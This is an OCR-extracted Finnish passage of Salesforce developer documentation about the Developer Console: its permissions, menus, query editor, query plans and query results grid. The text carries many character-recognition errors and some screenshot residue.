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Tervetuloq, Salesforce-kehittdjat

Taméa dokumentaatio tarjoaa tietoja Salesforce-organisaatiosi tehostamiseen mukautettujen sovellusten kehittamisen ja ulkoisten
sovellusten integroinnin avulla.

Téma dokumentaatio on lajiteltu tehtdvien mukaan, joten |6ydat tarvitsemasi tiedot nopeasti:

e Koodin kirjoittaminen — Kirjoita koodia Apex-ohjelmointikielen avulla lisdtaksesi liketoimintalogiikkaa tai kayta
Visualforce-merkintakieltd luodaksesi kdyttoliittyman. Lisdksi 16ydadt tietoja sovelluksesi integroimisesta APl:en avulla ja ulkoisten
sovellustesi todentamisesta.

e Koodisi virheenkorjaus — Korjaa sovelluksesi virheitd Developer-konsolin avulla.
®  Muutoksiesi testaaminen — Testaa Apex-koodiasi ja kdytd muita testaustyokaluja.

e Ota kdyttddn — Ota muutoksesi kdyttddn toisessa organisaatiossa kayttdmalld muutosjoukkoja ja muita tyokaluja.

Loydat kehittdjien koko dokumentaation osoitteesta https://developer.salesforce.com/page/Documentation.

Salesforce-kehitystyokalut

Tama taulukko on yhteenveto useiden Salesforce-kehitystydkalujen toiminnoista. EDITION-VERSIOT
Tydkalu Koodi Veslqus Testi IGtib Kdytettdvissd Kaytettavissa: Salesforce
kohdasta Classicissa
Force.com Developer -konsoli =~ +# o W Nimesi tai

Kaytettdvissd olevat tydkalut
oikavalikko ( ﬁl ) vaihtelevat Salesforce Edition
-versiosi mukaan.

Force.com IDE w w w w developersalesforce.com
Visualforce-kehitystilan alapalkki Méadritykset-valikko tai
henkilokohtaiset
asetuksesi
Koodieditori « Méadritykset
Apex-testin suoritus o madritykset
Muutosjoukot W Maaritykset
Force.com Migration Tool « Méadritykset


https://developer.salesforce.com/page/Documentation
https://developer.salesforce.com/
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@ Nofte: Force.com IDE on Salesforcen tarjoama resurssi sen kdyttdjien ja kumppanien tueksi, mutta se ei ole osa sen palvelujamme
siind merkityksessa kuin Salesforcen paatilaussopimus ilmaisee.

KATSO MYOS:
http://wiki.developerforce.com/page/Tools
Developer Console -konsolin toiminnot

Kehitystilan ottaminen kdyttoon

Koodi

Koodin kirjoittaminen

Tama osio sisaltaa tietoja koodin kirjoittamiseen organisaatiosi laajentamiseksi.
e Developer Console -konsolin toiminnot

e Koodisi suojaaminen

e Developer Console -konsolin kyselyeditori

e Koodin tydstaminen

KATSO MYOS:
Koodin virheenkorjaus
Tekemiesi muutosten testaaminen

Kdyttoonotto

Developer-konsoli

Developer Console -konsoli on integroitu kehitysymparistd kokoelmalla tydkaluja, joita voit kayttad Salesforce-organisaatiosi sovellusten
luomiseen, vianmadritykseen ja testaamiseen.

TASSA OSIOSSA:

Avaa Developer-konsoli

Kehittajan konsoli on helppo avata muutamalla napsautuksella Salesforce Classicista tai Lightning Experiencesta. Developer-konsoli
on integroitu kehitysympaéristd kokoelmalla tyokaluja, joita voit kdyttad Salesforce-organisaatiosi sovellusten luomiseen,
vianmadritykseen ja testaamiseen.

Developer Console -konsolin toiminnot

Developer Console -konsoli voi auttaa sinua useissa kehitystehtavissasi.

Developer-konsolin kdyttoliittyman yhteenveto
Developer-konsoli sisdltda kokoelman tyokaluja koodausta, virheenkorjausta ja sovellusten testaamista varten.

Developer-konsolin komentorivin viite

Developer Console -konsoli siséltdd komentorivin, josta voi suorittaa useita hyodyllisida komentoja. Avaa tai sulje Developer Console
-konsolin komentorivi-ikkuna painamalla CTRL+SHIFT+L.


http://wiki.developerforce.com/page/Tools
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Developer-konsolin tyotilat

Tyétila on kokoelma Developer Console -konsolin pddpaneelissa valilehting ndytettdvid resursseja.

Avaa Developer-konsoli

KAYTTJAOIKEUDET

Kehittdjcin konsolin kayttéminen: Kaikkien tietojen tarkasteluoikeus

Anonyymin Apex-koodin suorittaminen: Apex-laadintaoikeus

Koodihaun ké&yttdminen ja SOQL:n tai SOSL:n - API kdytossd
suorittaminen kyselyvdlilehdessa:

Apex-luokkiin ja -kéynnistimiin tehtyjen Apex-laadintaoikeus
muutosten tallentaminen:

Visualforce-sivuihin ja -komponentteihin Sovelluksen mukautusoikeus
tehtyjen muutosten tallentaminen:

Muutosten tallentaminen Sovelluksen mukautusoikeus

Lightning-resurssiin:

Developer-konsoli

EDITION-VERSIOT

Kéytettavissd: Salesforce
Classicissa ja Lightning
Experiencessa

Kéytettévissa: Enterprise
Edition-, Performance
Edition-, Unlimited Edition-,
Developer Edition- ja
Database.com Edition
-versioissa

Kehittdjan konsoli on helppo avata muutamalla napsautuksella Salesforce Classicista tai Lightning Experiencesta. Developer-konsoli on
integroitu kehitysymparistd kokoelmalla tydkaluja, joita voit kdyttdd Salesforce-organisaatiosi sovellusten luomiseen, vianmadaritykseen

ja testaamiseen.

Kehittdjan konsolin avaaminen Salesforce Classicissa:
1. Napsauta Nimesi.

2. Napsauta Kehittdjan konsoli.

Kehittdjan konsolin avaaminen Lightning Experiencesta:

1.
Napsauta pikavalikkoa ( ).

2. Napsauta Kehittdjan konsoli.

Developer Console -konsolin toiminnot

KAYTTJAOIKEUDET

Developer-konsolin kdyttéminen: Kaikkien tietojen tarkasteluoikeus

Anonyymin Apex-koodin suorittaminen: Apex-laadintaoikeus

Koodihaun ké&yttdminen ja SOQL:n tai SOSL:n  API kdytossd
suorittaminen kyselyvdlilehdessa:

Apex Code -luokkiin ja -k&ynnistimiin Apex-laadintaoikeus

tehtyjen muutosten tallentaminen:

Visualforce-sivuihin ja -komponentteihin Sovelluksen mukautusoikeus
tehtyjen muutosten tallentaminen:

EDITION-VERSIOT

Kéytettdvissd Salesforce
Classicissa ja Lightning
Experiencessa

Kéytettdvissd: Enterprise
Edition-, Performance
Edition-, Unlimited Edition-,
Developer Edition- ja
Database.com Edition
-versioissa
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Muutosten tallentaminen Lightning-resurssiin: Sovelluksen mukautusoikeus

Developer Console -konsoli voi auttaa sinua useissa kehitystehtdvissasi.

Mité tehtdvia voit suorittaa Developer Consolella?

Viankorjaus ja vianetsinta

Developer-konsolissa on kdtevia tyokaluja loogisten ongelmien tehokkaaseen jdljittamiseen.

e Tarkastele lokeja: Kdytd Lokit-valilehtea tarkastellaksesi lokien luetteloa. Avaa lokeja lokien tarkastusohjelmassa. Lokien
tarkastusohjelma on sisaltékohtaisen suorituksen tarkasteluohjelma, joka ndyttad toiminnon ldhteen, kaynnistimen ja seuraukset.
Kayta tatd tyokalua tarkastellaksesi virheenkorjauslokeja, jotka sisaltdvat tietokantatapahtumia, Apex-kasittelyitd, tydnkulkuja ja
vahvistuslogiikkaa.

e Aseta Apex-koodiin tarkastuspisteita ja tarkastele niita: Aseta tarkastuspisteitd Developer-konsolista tunnistaaksesi virheiden
ldhteen. Jos esimerkiksi haluat ymmartda miksi tietty pyynt0 tuottaa virheen, voit tarkastaa suorituksen, tunnistaa haitallisen logiikan
ja asettaa tarkastuspisteen. Kun suoritat prosessin uudelleen, voit tarkastella pyynt6a tdssd nimenomaisessa kohdassa saadaksesi
yksityiskohtaisia tietoja koodisi parantamiseen. Vaikka Developer-konsoli ei pysty keskeyttamddn suorittamista, kuten tavanomainen
viankorjaus, se tarjoaa pilvikehittdjille ldhes saman nakyvyyden ja vahentad tarvetta instrumenttikoodaukseen
System.debug-komennoilla.

Lahdekoodin muokkaaminen ja selaaminen
Developer Console sallii sinun selata, avata, muokata ja luoda lahdekooditiedostoja.

e Selaa organisaatiosi paketteja: Selaa organisaatiossasi luotujen pakettien sisaltoa.

e Tarkastele ja muokkaa Apex-luokkia ja -kdynnistimia: Avaa ja muokkaa Apex-kdynnistimia ja -luokkia ja avaa mukautettujen
objektien madritelmdsi Vain luku -nakymadssd.

¢ Lightning-komponenttien tarkastelu ja muokkaaminen: Avaa ja muokkaa Lightning-resursseja, kuten sovellus, komponentti,
tapahtuma tai liittyma.

e Tarkastele ja muokkaa Visualforce-sivuja ja -komponentteja: Avaa ja muokkaa Visualforce-sivuja ja -komponentteja.

e Kaytd lahdekoodieditoria: Avaa joukko tydstettdvia kooditiedostoja ja siirry niiden valilld yhdelld napsautuksella. Developer-konsolin
ldhdekoodieditori sisaltda tekstin automaattisen tdydennystoiminnon Apex-koodille.

Suorituskyvyn testaaminen ja vahvistaminen
Developer-konsolissa on useita koodin testaamiseen ja suorituskyvyn analysoimiseen tarkoitettuja tydkaluja.

e Testaa Apex-koodia: Kaytd Developer-konsolia tarkistaaksesi koodin kattavuuden ja suorittaaksesi Apex-testejd, kuten yksikkotesteja,
toimintatestejd, regressiotesteja jne. Apex tukee yksikkdtestien luomista ja suorittamista helpottaakseen kestdvdn ja virheettéman
koodin kehittamistd. Yksikkotestit ovat luokkametodeja, jotka vahvistavat koodin tiettyjen osien toimivuuden. Yksikkétestimetodit
eivat hyvaksy argumentteja, eivdt sido mitadn tietoja tietokantaan, eivat ldheta sahkdposteja ja ovat merkittyja
testMethod-avainsanallatai i sTest-arvolla metodin madrityksessa. Lisdksi testimetodien taytyy olla madritettyna testiluokissa,
eli i sTest-merkityissa luokissa.

e Tarkasta suorituskykyongelmat lokista: Lokien tarkastusohjelma on sisdltokohtaisen suorituksen tarkasteluohjelma, joka ndyttaa
toiminnon lahteen, kdynnistimen ja seuraukset. Kaytd tatd tyokalua tarkastellaksesi virheenkorjauslokeja, jotka siséltavat
tietokantatapahtumia, Apex-kasittelyitd, tyonkulkuja ja vahvistuslogiikkaa. Avaa virheenkorjausloki ja tarkastele toimintojen
kokonaistoimintaa suorituskykyhakemistossa. Suoritetut yksikot -paneeli jakaa pyynnon seka ajan etta tyypin mukaan ja luokittelee
ajoitukset menetelmien, kyselyjen, tydnkulujen, kutsujen, DML:n, vahvistusten, kdynnistimien ja sivujen mukaan, jotta saat selkedn
kdsityksen mista suorituskykyongelmia voi etsid. Kdyta Aikajana-paneelia nahdaksesi kokonaispyynnon aikajana-nakyman ja selataksesi
tietyn lohkon tapahtumia. Rajoitukset-paneeli tarjoaa yhteenvetonakyman kdytetyistd resursseista ja madrittad ne suhteessa allokoituihin
pyyntorajoituksiisi.
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SOQL- ja SOSL-kyselyiden suorittaminen
Developer-konsoli tarjoaa yksinkertaisen kayttoliittyman SOQL-ja SOSL-pyynt&jen hallintaan.
e Muokkaa ja suorita SOQL- ja SOSL-pyyntoja: Kayta kyselyeditoria pyytddksesi tietoja organisaatiostasi.

e Nayta kyselyn tulokset: Tulokset ndytetddan Query Results (Kyselyn tulokset) -ruudukossa, jonka avulla voit avata, luoda, paivittaa
ja poistaa tietueita. Useita objekteja sisdltavissa SOSL-hakutuloksissa kukin objekti ndytetdan erillisessa valilehdessa.

Developer-konsolin kayttéliittyman yhteenveto

Developer-konsoli sisaltda kokoelman tyokaluja koodausta, virheenkorjausta ja sovellusten testaamista varten.

File = Edit= Debug~ Test= Workspace ~ Help =
PurchaseOrders * © Account@ioc PH - - 1 I
| Code Coverage: None ~ ﬂ
public class PurchaseOrders | e
// Bn interface that defines what a purchase order looks like in general
public interface PurchaseQrder {
// All other functionality excluded
Double discount (): =
} 2
// One implementation of the interface for customers
public virtual class CustomerPurchaseOrder implements PurchaseOrder {
public virtual Double discount () { |
return .05; // Flat 5% discount
. }
}
. // Fmployee purchase order extends Customer purchase order, but with a
I EW Y - T 12t %
Logs | Tests Checkpoints Query Editor || View State Progress Problems £
[T Hide Finished Runs| Cancel All Deployments
Regld Mice Order | Description 3 |. Status Start  End Duratio Handlel Ajax E Delay
439 1] 423 Checking for new Chedkpaints, Test results, &File updates Finished 2:0... 0. 234 =
438 1] 427 Chedking for new Chedkpaints, Test results, & File updates Finished 2:0.. Z0.. 84 ([
437 0 426 Checking for new Chedkpaints, Test results, & File updates Finished .. 2. 86
435 1] 425 Checking for new Chedkpaints, Test results, & File updates Finished 2:0... 20.. 115
435 o] 424 Checking for new Chedkpoints, Test results, & File updates Finished 20 20 78
434 1] 423 Checking for new Chedkpoints, Test results, & File updates Finished 2:0... 0. 103 |

Developer-konsoli on jaettu seuraaviin osioihin:
1. Valikkopalkki
2. Tyotila, jossa on vélilehti kullekin avoinna olevalle kohteelle

3. Lokit, testit ja ongelmat -paneeli

Valikkopalkki

Valikkopalkki sisdltaa seuraavat alasvetovalikot:
e File (Tiedosto) -valikosta voit avata ja luoda resursseja.
e Edit (Muokkaa) -valikon avulla voit hakea ja muokata kooditiedostojasi.

e Debug (Virheenkorjaus) -valikosta voit kdyttda useita tyokaluja ja asetuksia.



Paranna Salesforcea koodilla Developer-konsoli

e Test (Testi) -valikosta voit kayttaa testaustyokaluja.
e Workspace (Tydétila) -valikosta voit valita ja hallita tyétiloja.

e Help (Ohje) -valikko sisdltaa linkkeja online-ohjeeseen, ndppaimiston pikavalintojen viitesivun ja kehittajan konsolin valintasivut.

Tyétila
Tyotila on kokoelma Developer-konsolin pdapaneelissa vdlilehtind ndytettavia resursseja.

Kussakin valilehdessd ndytettava lisatietonakyma tai editori maaritetdan valilehdessa avoinna olevan resurssin perusteella. Esimerkiksi
Idhdekoodi avautuu ldhdekoodin editorissa, lokit avautuvat lokien tarkastusohjelmassa jne. Voita luoda ty&tilan mille tahansa ryhmalle
resursseja, joita sailytat yhdessa pitdaksesi tyosi jarjestyksessa. Voit esimerkiksi luoda yhden tyétilan Idhdekoodille ja toisen
virheenkorjauslokeille ja siirtyd niiden valilla tehdessasi koodaus- ja testaustoita.

Lisatietoja on kohdassa Developer-konsolin tyotilat.

Lokit, testit ja ongelmat -paneeli
Developer-konsolin alapaneeli sisaltda useita hyddyllisia valilehtid:

e Logs (Lokit) -valilehdessa ndytetdan kaytettavissa olevat lokit.

Tests (Testit) -valilehdessa naytetadn kdytettdvissa olevat testit.

e Checkpoints (Tarkastuspisteet) -valilehdessa ndytetdan kaytettavissa olevat tarkastuspisteet.

e Query Editor (Kyselyeditori) -valilehdestd voit suorittaa SOQL- tai SOSL-kyselyitd organisaatiosi tietdoille.
e Jos View State (Nakymatila) -vdlilehti on kdytdssd, se ndyttdd sinulle Visualforce-sivun nakymaétilan.

e Progress (Edistyminen) -vdlilehti ndyttaa kaikki ei-synkronoidut pyynnét reaaliajassa. Jos haluat ndhdd vain kesken olevat toiminnot,
valitse Hide Finished Runs (Piilota valmiit suoritukset). Jos haluat keskeyttaa kaikki kesken olevat kdyttdonotot, napsauta Cancel
All Deployments (Peruuta kaikki kayttdonotot). Kun keskeytat kayttdonoton, Progress (Edistyminen) -valilehteen ilmestyy hetken
padstd jdannospyyntd-aihe. Osittaiset kdyttoonotot eivat ole mahdollisia. Jos haluat tyhjentda pyyntotehtdvan valittomasti, paivita
Developer-konsoli.

* Problems (Ongelmat) -vdlilehdessa ndytetadn kddnnosvirheiden lisdtiedot Idhdekoodin editorissa. Tekemasi muutokset kddnnetaan
ja vahvistetaan taustalla. Kun muokkaat koodia, rivin vieressa oleva virheilmoitus osoittaa, ettd rivi sisaltda virheitd. Napsauta rivia
Problems (Ongelmat) -vélilehdestd siirtyaksesi koodiriville, joka aiheutti virheen.

@ Note: Kun mitddn toimintoa ei ole suoritettu 20 minuuttiin, Developer-konsoli lopettaa uusien lokien, testisuoritusten ja
tarkastuspisteiden pyynnét. Jos haluat jatkaa paivityksia, napsauta Debug (Virheenkorjaus) > Resume Updating (Jatka
paivittamista).

Ndppdimiston pikavalinnat

Tarkastele Developer-konsolin ndppaimistdn pikavalintoja napsauttamalla Help (Ohje) > Shortcut Keys (Pikandppaimet) tai paina
CTRL+SHIFT+?.

Developer Console -konsolin File (Tiedosto) -valikko

Developer Console -konsolinFile (Tiedosto) -valikko sallii sinun hallita Apex-kdynnistimidsi ja -luokkiasi, Visualforce-sivujasi ja
-komponenttejasi ja staattisia resurssejasi (teksti, XML, JavaScript tai CSS). Se sisaltda seuraavat vaihtoehdot.

e New (Uusi): Luo resurssin ja avaa sen ldhdekoodin editorissa. Voit luoda seuraavia resursseja:

—  Apex-luokka tai kaynnistin: Jos haluat luoda Apex-kdynnistimen, valitse ensin objekti, johon kdynnistin liitetdan.
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- Lightning-sovellus, -komponentti, -tapahtuma, -rajapinta tai valtuuspaketti. Katso lisdtietoja kohdasta
Lightning-komponenttikehyksen yleiskatsaus sivulla 79.

- Visualforce-sivu tai -komponentti
— Staattinen resurssitiedosto (teksti, XML, JavaScript tai CSS)

Open (Avaa): Kdynnistaa File Open (Avaa tiedosto) -ikkunan, joka sallii sinun selata ja avata sovelluksen koodi- ja data-objekteja.
Open Resource (Avaa resurssi): Kdynnistda Avaa resurssi -ikkunan, joka sallii sinun hakea tiedostoja nimen perusteella.

Open Lightning Resources (Avaa Lightning-resursseja): Kdynnistaa Open Lightning Resources (Avaa Lightning-resursseja) -ikkunan,
josta voit hakea Lightning-komponenttien resursseja nimen perusteella.

Open Log (Avaa loki): Avaa valitun lokin lokien tarkastusohjelmassa. Voit kayttaa lokeja myos Logs (Lokit) -vdlilehdesta.
Open Raw Log (Avaa raaka loki): Avaa valitun lokin pelkkdna tekstina.

Download Log (Lataa loki): Tallentaa valitusta lokista tekstikopion paikalliselle laitteellesi.

Save (Tallenna): Tallentaa aktiivisessa vélilehdessa olevan kohteen.

Save All (Tallenna kaikki): Tallentaa kaikkiin tydtilasi avoimiin valilehtiin tehdyt muutokset. Kdytd tatd vaihtoehtoa tallentaaksesi
sidonnaisten muutosten joukon.

Delete (Poista): Poistaa aktiivisessa vdlilehdessa olevan kohteen. Voit poistaa vain Apex-luokkia ja -kdynnistimid, Visualforce-sivuja
ja staattisia resurssitiedostoja.

Close (Sulje): Sulkee aktiivisen vdlilehden.

Close All (Sulje kaikki)l: Sulkee kaikki tydtilassasi avoinna olevat vdlilehdet. Jos jokin vélilehti sisdltad tallentamattomia muutoksia,
sinua pyydetdan tallentamaan ne.

TASSA OSIOSSA:

Tyyppien avaaminen File (Tiedosto) Open (Avaa) -ikkunasta
Voit selata ja avata sovelluskoodiasi ja dataobjektejasi Developer Console -konsolin Open (Avaa) -ikkunasta.

Tyyppien avaaminen File (Tiedosto) Open (Avaa) -ikkunasta

Voit selata ja avata sovelluskoodiasi ja dataobjektejasi Developer Console -konsolin Open (Avaa) -ikkunasta.

Open =[x
e
Entity Type MName MNamespace « Name Extent Direction
Classes ObjectPermissions « | % ClosedOpp... ApexTrigger Owns
Triggers OpenActivity
Pages Opportunity
Page Components OpportunityCompeti...
Objects OpportunityContact...
Static Resources OpportunityFeed
Packages OpportunityFieldHis.
OpportunityHistory
Opportunitylineltem =
 Open |[T] Filter [[] Hide Managed Packages Refresh

Kohteen hakeminen Open (Avaa) -ikkunasta:

Napsauta Setup Entity Type (Madritysentiteetin tyyppi) -sarakkeesta haettavan kohteen tyyppia.

2. Etsi tutkittava kohde vierittdmalld Entities (Entiteetit) -saraketta.

Jos haluat suodattaa ndytettdvid kohteita, napsauta Filter (Suodata) -tekstiruutua ja syotd suodatusehdot.

Developer-konsoli
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Napsauta kohdetta kerran Related (Liittyvat) -sarakkeesta nahdaksesi siihen liittyvat kohteet.
Voit esimerkiksi napsauttaa objektia ndhdaksesi, mitad Apex-luokkia se kdyttaa.

Jos haluat avata kohteen uudessa valilehdessd, kaksoisnapsauta sita tai valitse se ja napsauta Open (Avaa).

Kooditiedostot avataan ldhdekoodin editorissa ja dataobjektit avataan objektien tarkastusndakymassa.

Voit selata ja avata organisaatiosi pakettien sisdltod File (Tiedosto) > Open (Avaa) -ikkunasta. Voit nahda pakettien koko sisallén ja
avata paketissa olevia kooditiedostoja ja mukautettuja objekteja. Naet luettelossa paketin kohteet, kuten mukautetut kentat ja
vahvistussaannot, mutta et niiden lisatietoja.

@ Note: Etvoitarkastella tai muokata organisaatioosi asentamiesi hallittavien pakettien sisaltdja. Voit selata, avata ja muokata luokkia,

objekteja ja muita asennetuissa ei-hallittavissa paketeissasi olevia entiteettejd, aivan kuin olisit luonut ne itse.

Packages (Paketit) -entiteettityyppi sisaltda vain luomasi paketit, ei asentamiasi hallittavia tai ei-hallittavia paketteja.

Developer Console -konsolin Edit (Muokkaa) -valikko

Developer-konsolin Edit (Muokkaa) -valikon avulla voit hakea ja muokata kooditiedostojasi. Se sisdltad seuraavat vaihtoehdot.

Find (Etsi): Hakee valittua tekstid nykyisesta ndkymadstd. Jos mitddn tekstia ei ole valittuna, avaa selaimen hakuikkunan.
Find Next (Etsi seuraava): Hakee valitun tai mdaritetyn tekstin seuraavan esiintyman nykyisestd nakymadsta.
Find/Replace (Etsi/korvaa): Hakee ja korvaa valitun tai mddritetyn tekstin nykyisestd nakymasta.

Search in Files (Hae tiedostoista): Avaa hakuikkunan, josta voit hakea kaikkien kooditiedostojen siséltoa.

Fix Indentation (Korjaa sisennys): Korjaa sisennyksen nykyisessa kooditiedostossa.

Developer Console -konsolin Debug (Virheenkorjaus) -valikko

Developer-konsolinDebug (Virheenkorjaus) -valikko sallii sinun hallita lokejasi ja suorittaa anonyymia Apex-koodia. Se siséltad seuraavat
vaihtoehdot.

Open Execute Anonymous Window (Avaa Suorita anonyymi-ikkuna): Avaa uuden ikkunan, josta voit sy6ttaa Apex-koodia testausta
varten. Lisdtietoja on kohdassa Anonyymin Apex-koodin suorittaminen.

Execute Last (Suorita edellinen): Suorittaa Sy6ta Apex-koodia -ikkunan viimeisimman syétteen.

Switch Perspective (Vaihda perspektiivid): Valitse perspektiivi kdytettavissa olevien vakiomuotoisten ja mukautettujen perspektiivien
luettelosta. Lisdtietoja on kohdassa Lokien tarkastusohjelma.

View Log Panels (Nayta lokipaneelit): Nayttad perspektiivissa kdytettavissd olevien paneelien luettelon.

Perspective Manager (Perspektiivien hallintaohjelma): Avaa perspektiivien hallintaohjelman. Lisatietoja on kohdassa Perspektiivien
hallinta lokien tarkastusohjelmassa.

Save Perspective (Tallenna perspektiivi): Tallentaa kaikki muutokset, joita olet tehnyt nykyiseen perspektiiviin sen ollessa avoinna.
Save Perspective As (Tallenna perspektiivi nimelld): Tallenna kopion nykyisesta perspektiivista eri nimelld.

Auto-Hide Logs (Piilota lokit automaattisesti): Valitse téma vaihtoehto tyhjentdaksesi olemassa olevat lokit, kun sivu pdivitetdan.
Show My Current Logs Only (Nayta vain omat nykyiset lokini): Poista tdmd valinta (se on oletusarvoisesti valittuna) nahdaksesi
kaikki organisaatiollesi tallennetut lokit, mukaan lukien muiden kayttajien juuri luomat lokit.

Show My Current Checkpoints Only (Naytd vain omat nykyiset tarkastuspisteeni): Poista tdmd valinta (se on oletusarvoisesti
valittuna) nahdaksesi kaikki organisaatiollesi tallennetut tarkastuspisteet, mukaan lukien muiden kayttajien juuri luomat tarkastuspisteet.

Clear (Tyhjennd): Valitse Log Panel (Lokipaneeli), Checkpoint Results Panel (Tarkastuspisteiden tulosten paneeli) tai Checkpoint
Locations (Tarkastuspisteiden sijainnit) poistaaksesi tamdnhetkiset tiedot valimuistista ja pdivittdaksesi ndyton.

Resume Updating (Jatka pdivitystd): Uudistaa yhteyden palvelimelle. Tamd vaihtoehto ndytetdan vain, jos kysely on keskeytetty
aikakatkaisulla.
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e ChangeLlog Levels (Muuta lokitasoja): Avaa lokiasetusten valintaikkunan, josta voit maarittdd tulevien pyyntéjen lokitasot. Lisétietoja
on kohdassa Virheenkorjauslokien tasot.

@ Nofte: Joitakin Debug (Virheenkorjaus) -valikon vaihtoehtoja ei voi kdyttad ennen kuin loki on luotu.

Developer-konsolin kyselyeditori

Voit kayttad Developer-konsolin kyselyeditoria suorittaaksesi SOQL-kyselyn tai SOSL-haun organisaatiosi tiedoille. Edelliset 10 kyselyasi
naytetdan Historia-ikkunasta, josta voit kdyttda niita nopeasti uudelleen. Tulokset ndytetadn Query Results (Kyselyn tulokset) -ruudukossa,
jonka avulla voit avata, luoda, paivittad ja poistaa tietueita. Useita objekteja sisdltavissa SOSL-hakutuloksissa kukin objekti naytetdan
erillisessd vélilehdessa.

File » Edit= Debug~ Test= Workspace» Hep- < -
triggerlapxt */|| Account@®12:54 PM * | Contact@®12-55PM *
SELECT Contact.FirstMame, Contact.Account.Name from Contact

Query Results - Total Rows: 20

Firsthiame Account.Mame

Rose Edge Communications

Sean Edge Communications

Jack Burlington Textiles Corp of America

Pat Pyramid Construction Inc,

Andy Dickenson plc

Tim Grand Hotels & Resorts Ltd

John Grand Hotels & Resorts Ltd

Stella United Qil & Gas Corp.

[ | Initer 0l & fae Forn M
Query Grid:| Save Rows || InsertRow || Delete Row || Refresh Grid Access in Salesforce: | Create New || Open Detail Page || Edit Page

e

Logs || Tests Checkpoints || QueryEditor  Progress  Problems 85

SELECT Contact.FirstName, Contact.Account.Name from Contact _

Executed
SELECT Id, Name FROM Account WHERE Mam
SELECT Contact.FirstName, Contact.Account. ...

Execute || Query Plan [T Use Tooling API

TASSA OSIOSSA:

SOQL-kyselyn tai SOSL-haun suorittaminen
Suorita SOQL-kyselyita tai SOSL-hakuja Developer-konsolin Query Editor (Kyselyeditori) -paneelista.

Kyselyiden suunnitelmien noutaminen

Kayta Query Plan (Kyselyn suunnitelma) -tyokalua optimoidaksesi ja nopeuttaaksesi kyselyitd, jotka tehdaan suurelle maaralle tietueita.
Tarkastele SOQL-kyselyiden ja SOSL-hakujen, raporttien ja luettelondkymien kyselyiden suunnitelmia. Jos organisaatiollesi on saatavilla
mukautettuja indeksejd, kayta kyselyiden suunnitelmia paattdaksesi, milloin pyytad mukautettua indeksia Salesforce-tukipalvelulta.

Kyselyn tulokset -ruudukko

Query Results (Kyselyn tulokset) -ruudukossa tietueet ndytetdan riveind. Voit luoda, pdivittad ja poistaa tietueita poistumatta
Developer-konsolista. Useita objekteja siséltdvissa SOSL-hakutuloksissa kukin objekti ndytetddn erillisessa vdlilehdessd.

SOQL-kyselyn tai SOSL-haun suorittaminen
Suorita SOQL-kyselyita tai SOSL-hakuja Developer-konsolin Query Editor (Kyselyeditori) -paneelista.
1. Syotd SOQL-kysely tai SOSL-haku Kyselyeditori-paneeliin.

2. Jos haluat kyselld Tooling-entiteetteja dataentiteettien sijaan, valitse Use Tooling API (Kayta Tooling APl:a).
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3. Napsauta Execute (Suorita). Jos kysely tuottaa virheitd, ne ndytetaan Query Editor (Kyselyeditori) -paneelin alalaidassa. Tuloksesi
ndytetdan Developer-konsolin tyétilan Query Results (Kyselyn tulokset) -ruudukossa.

4. O Varoitus: Jos suoritat kyselyn uudelleen, menetat kaikki Query Results (Kyselyn tulokset) -ruudukossa tehdyt tallentamattomat
muutokset.

Jos haluat suorittaa kyselyn uudelleen, napsauta Refresh Grid (Pdivitd ruudukko) tai napsauta kyselya History (Historia) -paneelista
ja napsauta Execute (Suorita).

Lisatietoja kyselyiden ja hakujen syntaksista on Force.com SOQL and SOSL Reference -viiteoppaassa.

Kyselyiden suunnitelmien noutaminen

Kayta Query Plan (Kyselyn suunnitelma) -tydkalua optimoidaksesi ja nopeuttaaksesi kyselyitd, jotka tehdddn suurelle mdardlle tietueita.
Tarkastele SOQL-kyselyiden ja SOSL-hakujen, raporttien ja luettelondkymien kyselyiden suunnitelmia. Jos organisaatiollesi on saatavilla
mukautettuja indeksejd, kayta kyselyiden suunnitelmia paattdaksesi, milloin pyytad mukautettua indeksid Salesforce-tukipalvelulta.

Jos haluat ottaa Query Plan (Kyselyn suunnitelma) -painikkeen kayttddn kyselyeditorissa, napsauta Help (Ohje) > Preferences (Valinnat),
aseta Enable Query Plan (Ota kyselysuunnitelma kdyttoon) -asetus arvoon true ja napsauta Save (Tallenna).

Jos haluat nahdd SOQL-kyselyiden tai SOSL-hakujen suunnitelmat, sy6td kyselysi ja napsauta Query Plan (Kyselyn suunnitelma) -painiketta
kyselyeditorissa.

Query Plan (Kyselyn suunnitelma) -ikkuna ndyttad kaikki kyselyn operaatiot ja niiden hinnat. Notes (Huomautukset) -ikkuna ndyttaa kaikki
huomautukset, jotka ovat saatavilla ensisijaiseksi madritetylle kyselyn suunnitelmalle, eli talld hetkelld kdytossd olevalle kyselyn
suunnitelmalle.

Jos haluat tarkastella raporttien tai luettelondkymien kyselyiden suunnitelmia, noudata seuraavia ohjeita.

1. Etsiraporttisi tai luettelonakymdsi tunnus sen URL-osoitteesta.

W Accounts ~ salesforcecor x

€« C f https /=== ==salesforce.com/001 e FDOBANNNNO00OLP gh b —
= »

“ My Account List View ¥ | Edit| Delete | Create Mewr View - Feed | = @

AB/C/D|E|F G HIIJ K LIM®MNOOPQGQRSTUY WX Y I Ot All
‘ Dev User Action Account Hame Account Site Billing State/Province Phon
Edit| Del | §9  Burlington Textiles Corp of A MC (336) 22

2. Sy6ta raportin tai luettelondkyman tunnus kyselyeditoriin ja napsauta Query Plan (Kyselyn suunnitelma).

3. Tarkasta raporttisi tai luettelonakymasi kyselyn suunnitelma.

Kyselyn tulokset -ruudukko

Query Results (Kyselyn tulokset) -ruudukossa tietueet ndytetdan riveind. Voit luoda, pdivittad ja poistaa tietueita poistumatta
Developer-konsolista. Useita objekteja sisdltavissa SOSL-hakutuloksissa kukin objekti ndytetdan erillisessa valilehdessa.

e Jos haluat avata tietueen tuloksista, napsauta rivid ja napsauta Open Detail Page (Avaa lisdtietosivu). Jos haluat muokata tietuetta,
napsauta Edit Page (Muokkaussivu) siirtydksesi tietueeseen Salesforcessa.

e Jos haluat luoda tietueen, napsauta Insert Row (Liséa rivi). Sy6ta tiedot ja napsauta Save Rows (Tallenna rivit).

Nofte: Rivin lisddminen edellyttdd, ettd kyselyn tulokset sisdltavat objektin kaikki pakolliset kentat. Pakollisten kenttien taytyy
olla yksinkertaisia teksti- tai numerokenttid. Jos ndma ehdot eivat taydy, tyhja rivi luodaan, mutta et voi tallentaa sitd. Napsauta
talloin Create New (Luo uusi) luodaksesi uuden tietueen Salesforcessa.
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e Jos haluat muokata tietuetta Query Results (Kyselytulokset) -ruudukossa, kaksoisnapsauta rivid. Tee haluamasi muutokset ja napsauta
Save Rows (Tallenna rivit).

e Jos haluat poistaa tietueen, valitse sen rivi ja napsauta Delete Row (Poista rivi).

